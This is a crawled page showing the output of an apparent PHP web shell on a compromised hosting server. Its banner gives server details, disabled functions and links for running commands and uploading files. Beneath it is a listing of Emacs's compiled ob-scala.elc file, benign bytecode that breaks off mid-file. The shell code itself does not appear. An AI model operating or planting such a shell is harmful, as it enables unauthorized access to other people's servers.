Server IP : 111.118.215.189 / Your IP : 18.117.158.174 Web Server : Apache System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : a1673wkz ( 2475) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /usr/share/emacs/24.3/lisp/org/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
;ELC ;;; Compiled by mockbuild@buildfarm06-new.corp.cloudlinux.com on Fri Oct 11 10:06:44 2024 ;;; from file /builddir/build/BUILD/emacs-24.3/lisp/org/ob-scala.el ;;; in Emacs version 24.3.1 ;;; with all optimizations. ;;; This file uses dynamic docstrings, first added in Emacs 19.29. ;;; This file does not contain utf-8 non-ASCII characters, ;;; and so can be loaded in Emacs versions earlier than 23. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; (byte-code "\300\301!\210\300\302!\210\300\303!\210\300\304!\210\305\306\307\"\207" [require ob ob-ref ob-comint ob-eval add-to-list org-babel-tangle-lang-exts ("scala" . "scala")] 3) (defvar org-babel-default-header-args:scala nil) #@54 Name of the command to use for executing Scala code. (defvar org-babel-scala-command "scala" (#$ . 788)) #@105 Execute a block of Scala code with org-babel. This function is called by `org-babel-execute-src-block' (defalias 'org-babel-execute:scala #[(body params) "\306\307!\210\310!\311 @! A@\312 8\313\314\"A\315\"\316\n \f$\317\320\313\321\"A\313\322\"A\"\320\313\323\"A\313\324\"A\"#.\207" [params processed-params session vars result-params result-type message "executing Scala source code block" org-babel-process-params org-babel-scala-initiate-session 2 assoc :result-type org-babel-expand-body:generic org-babel-scala-evaluate org-babel-reassemble-table org-babel-pick-name :colname-names :colnames :rowname-names :rownames body full-body result] 8 (#$ . 900)]) #@166 Convert RESULTS into an appropriate elisp value. If RESULTS look like a table, then convert them into an Emacs-lisp table, otherwise return the results as a string. (defalias 'org-babel-scala-table-or-string #[(results) "\301!\207" [results org-babel-script-escape] 2 (#$ . 1592)]) (defvar org-babel-scala-wrapper-method "var str_result :String = null;\n\nConsole.withOut(new java.io.OutputStream() {def write(b: Int){\n}}) {\n str_result = {\n%s\n }.toString\n}\n\nprint(str_result)\n") #@204 Evaluate BODY in external Scala process. If RESULT-TYPE equals 'output then return standard output as a string. If RESULT-TYPE equals 'value then return the value of the last statement in BODY as elisp. (defalias 'org-babel-scala-evaluate #[(session body &optional result-type result-params) "\203 \306\307!\210\310 \311\"\203<